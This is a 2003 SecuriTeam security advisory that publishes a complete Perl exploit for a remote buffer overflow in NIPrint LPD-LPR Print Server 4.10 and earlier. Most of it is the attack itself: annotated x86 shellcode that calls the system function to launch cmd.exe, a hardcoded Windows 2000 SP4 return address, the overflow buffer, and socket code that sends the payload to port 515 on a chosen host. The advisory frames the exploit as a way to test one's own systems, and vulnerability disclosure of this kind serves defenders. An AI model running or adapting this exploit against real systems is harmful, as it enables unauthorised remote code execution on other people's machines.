[EXPL] NIPrint LPD-LPR Print Server (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/04/03

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      NIPrint LPD-LPR Print Server (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article
    <http://www.securiteam.com/windowsntfocus/6D004158UG.html> NIPrint LPD-LPR
    Print Server (Long Request), a vulnerability in NIPrint allows remote
    attackers to overflow an interal buffer, this in turn can be used to
    overwrite the EIP address, allowing code execution.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * NIPrint LPD-LPR Print Server version 4.10 and prior

    Exploit:
    #!/usr/bin/perl
    use IO::Socket;

    $shellcode = join ("",
    "\x90", # - NOP
    "\xCC", # - INT3
    "\x90", # - NOP
    "\x90", # - NOP
    "\x90", # - NOP
    "\x90", # - NOP
    "\x8B\xEC", # - MOV EBP, ESP
    "\x55", # - PUSH EBP
    "\x8B\xEC", # - MOV EBP, ESP
    "\x33\xFF", # - XOR EDI, EDI
    "\x57", # - PUSH EDI
    "\x83\xEC\x04", # 0 SUB ESP, 4
    "\xC6\x45\xF8\x63", # - MOV BYTE PTR SS:[EBP-8],63h
    "\xC6\x45\xF9\x6D", # - MOV BYTE PTR SS:[EBP-7],6Dh
    "\xC6\x45\xFA\x64", # - MOV BYTE PTR SS:[EBP-6],64h
    "\xC6\x45\xFB\x2E", # - MOV BYTE PTR SS:[EBP-5],2Eh
    "\xC6\x45\xFC\x65", # - MOV BYTE PTR SS:[EBP-4],65h
    "\xC6\x45\xFD\x78", # - MOV BYTE PTR SS:[EBP-3],78h
    "\xC6\x45\xFE\x65", # - MOV BYTE PTR SS:[EBP-2],65h
    "\xB8\xC3\xAF\x01\x78", # - MOV EAX, MSVCRT.system
    "\x50", # - PUSH EAX
    "\x8D\x45\xF8", # - LEA EAX, DWORD PTR SS:[EBP-8]
    "\x50", # - PUSH EAX
    "\xFF\x55\xF4", # - CALL DWORD PTR SS:[EBP-C]
    "\x5F" # - POP EDI
    );

    # 0x77f950cb is call ESI in Win2k SP4
    $eip = "\xcb\x50\xf9\x77";
    #$eip = "BBBB";

    $buf = "";

    $buf .= "\xCC"; # INT 3
    $buf .= "\x83\xC4\x04"; # Add ESP+4
    $buf .= "\xFF\xE4"; # Jmp ESP
    $buf .= "A"x(49-6);

    $buf .= $eip;
    $buf .= $shellcode;

    unless (@ARGV == 1) { die "usage: $0 host ..." }
    $host = shift(@ARGV);
    $remote = IO::Socket::INET->new( Proto => "tcp",
                                     PeerAddr => $host,
                                     PeerPort => "515",
                                     );
    unless ($remote) { die "cannot connect to LDP daemon on $host" }

    $remote->autoflush(1);

    print $remote $buf;

    while (<$remote>)
    {
     print $_;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:expert@securiteam.com>
    SecurITeam Experts.

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